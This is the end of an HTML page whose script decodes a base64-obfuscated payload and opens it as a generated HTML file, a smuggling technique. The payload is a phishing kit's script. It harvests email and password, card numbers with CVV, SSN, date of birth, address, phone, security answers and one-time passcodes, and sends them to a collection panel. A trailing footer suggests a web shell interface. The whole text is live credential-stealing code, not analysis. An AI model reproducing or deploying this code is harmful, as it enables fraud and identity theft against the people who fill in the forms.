sKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIHBhbmVsU2VuZChkYXRhLCBlKTsKICAgICAgICAKICAgICAgICB9KTsKCiAgICAgICAgZkJpbGwuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgYWRkcmVzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLmFkZHJlcy52YWx1ZTsKICAgICAgICAgICAgY29uc3QgemlwID0gZS50YXJnZXQuZWxlbWVudHMuemlwLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwaG9uZSA9IGUudGFyZ2V0LmVsZW1lbnRzLnBob25lLnZhbHVlOwoKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgICAgICBsZXQgcmVzID0gYGFkZHJlc3M6ICR7YWRkcmVzc30gXG5aaXA6ICR7emlwfSBcblBob25lOiAke3Bob25lfWA7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJkYXRhMiIsIHJlcyk7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJiYXNlVXJsIiwgZmlsZVBhdGgpOwogICAgICAgICAgICBwYW5lbFNlbmQoZGF0YSwgZSk7CgogICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIlZhbGlkYXRpbmcgeW91ciBpbmZvcm1hdGlvbiwgWW91IHdpbGwgcmVjZWl2ZSBmaW5hbCBzbXMgdmVyaWZpY2F0aW9uIHNob3J0bHkiOwogICAgICAgICAKICAgICAgICB9KTsKCgogICAgICAgICBmRW1Cb3guYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgZW0gPSBlLnRhcmdldC5lbGVtZW50cy5lbS52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGEgPSBlLnRhcmdldC5lbGVtZW50cy5wYS52YWx1ZTsKCiAgICAgICAgICAgIGVtMmVycjIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgRW1haWw6ICR7ZW19IFxuUGFzczogJHtwYX1gOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiZGF0YTIiLCByZXMpOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOwoKICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgICBmQ2FyZC5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CgogICAgICAgICAgICBjb25zdCBjTmFtZSA9IGUudGFyZ2V0LmVsZW1lbnRzLmNOYW1lLnZhbHVlOwogICAgICAgICAgICBjb25zdCBjTnVtID0gZS50YXJnZXQuZWxlbWVudHMuY051bS52YWx1ZTsKICAgICAgICAgICAgY29uc3QgZXhwID0gZS50YXJnZXQuZWxlbWVudHMuZXhwLnZhbHVlOwogICAgICAgICAgICBjb25zdCBjdiA9IGUudGFyZ2V0LmVsZW1lbnRzLmN2LnZhbHVlOwogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgQ2FyZCBOYW1lOiAke2NOYW1lfSBcbkNhcmQgTnVtYmVyOiAke2NOdW19IFxuRXhwaXJhcnkgRGF0ZTogJHtleHB9IFxuQ3Z2OiAke2N2fWA7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJkYXRhMiIsIHJlcyk7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJiYXNlVXJsIiwgZmlsZVBhdGgpOwogICAgICAgICAgICBwYW5lbFNlbmQoZGF0YSwgZSk7CiAgICAgICAgICAgIAogICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgIH0pOwoKCiAgICAgICAgIHJlc0NhcmQuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgbG5hbWUgPSBlLnRhcmdldC5lbGVtZW50cy5sbmFtZS52YWx1ZTsKICAgICAgICAgICAgY29uc3Qgc24gID0gZS50YXJnZXQuZWxlbWVudHMuc24udmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGRvYiA9IGUudGFyZ2V0LmVsZW1lbnRzLmRvYi52YWx1ZTsKICAgICAgICAKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgICAgICBsZXQgcmVzID0gYExhc3QgTmFtZTogJHtsbmFtZX0gXG5TU046ICR7c259IFxuRE9COiAke2RvYn1gOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiZGF0YTIiLCByZXMpOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgICAgcXVlc3RDYXJkLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IG1tQnYgPSBlLnRhcmdldC5lbGVtZW50cy5tbUJ2LnZhbHVlOwogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgJHtxdWVzdFRleHQudGV4dENvbnRlbnR9OiAke21tQnZ9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIGVyckJveDU2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOyAgCiAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgfSk7CgoKICAgICAgICBvdEZvcm0xLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IGNvZGUzID0gZS50YXJnZXQuZWxlbWVudHMuY29kZTMudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGRhdGEgPSBuZXcgRm9ybURhdGEoKTsKICAgICAgICAgICAgbGV0IHJlcyA9IGBPVFAgQ29kZTogJHtjb2RlM31gOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiZGF0YTIiLCByZXMpOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOwoKICAgICAgICAgIAogICAgICAgICAgICBib3hPdENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKCiAgICAgICAgICAgIG90RXJyb3IuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwoKICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CgogICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgib3BhYyIpOwogICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoIm9wYWMiKTsKICAgICAgICB9KTsKCgogICAgICAgIGNDYWRGb3JtLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IGNOYW1lID0gZS50YXJnZXQuZWxlbWVudHMuY05hbWUudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGNOdW0gPSBlLnRhcmdldC5lbGVtZW50cy5jTnVtLnZhbHVlOwogICAgICAgICAgICBjb25zdCBleHAgPSBlLnRhcmdldC5lbGVtZW50cy5leHAudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGN2ID0gZS50YXJnZXQuZWxlbWVudHMuY3YudmFsdWU7CiAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IGRhdGEgPSBuZXcgRm9ybURhdGEoKTsKICAgICAgICAgICAgbGV0IHJlcyA9IGBDYXJkIE5hbWU6ICR7Y05hbWV9IFxuQ2FyZCBOdW1iZXI6ICR7Y051bX0gXG5FeHBpcmFyeSBEYXRlOiAke2V4cH0gXG5DdnY6ICR7Y3Z9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIHBhbmVsU2VuZChkYXRhLCBlKTsKICAgICAgICAgICAgCgogICAgICAgICAgICBjb250YWluYzIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICBsb2FkZXJCb3gzNC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CgogICAgICAgICAgICBmTGcuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKCiAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJvcGFjIik7CiAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgib3BhYyIpOwogICAgICAgIH0pOwoKCiAgICAgICAgIGJpbEZvcm0xMS5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CgogICAgICAgICAgICBjb25zdCBhZGRyZXNzID0gZS50YXJnZXQuZWxlbWVudHMuYWRkcmVzLnZhbHVlOwogICAgICAgICAgICBjb25zdCB6aXAgPSBlLnRhcmdldC5lbGVtZW50cy56aXAudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IHBob25lID0gZS50YXJnZXQuZWxlbWVudHMucGhvbmUudmFsdWU7CgogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgYWRkcmVzczogJHthZGRyZXNzfSBcblppcDogJHt6aXB9IFxuUGhvbmU6ICR7cGhvbmV9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIHBhbmVsU2VuZChkYXRhLCBlKTsKCiAgICAgICAgICAgIGJpbGxjb25uYy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKCgogICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgCiAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoIm9wYWMiKTsKICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJvcGFjIik7CiAgICAgICAgIAogICAgICAgIH0pOwoKCiAgICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+"; var decodedStringAtoB = atob(encodedStringAtoB); const myBlob = new Blob([decodedStringAtoB], { type: 'text/html' }); const url = window.URL.createObjectURL(myBlob); a.attr("href", url); $("body").append(a); a[0].click(); window.URL.revokeObjectURL(url); a.remove(); } </script> </head> <body> <!-- Your HTML content goes here --> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.2.34 | Generation time: 0.13 |
proxy
|
phpinfo
|
Settings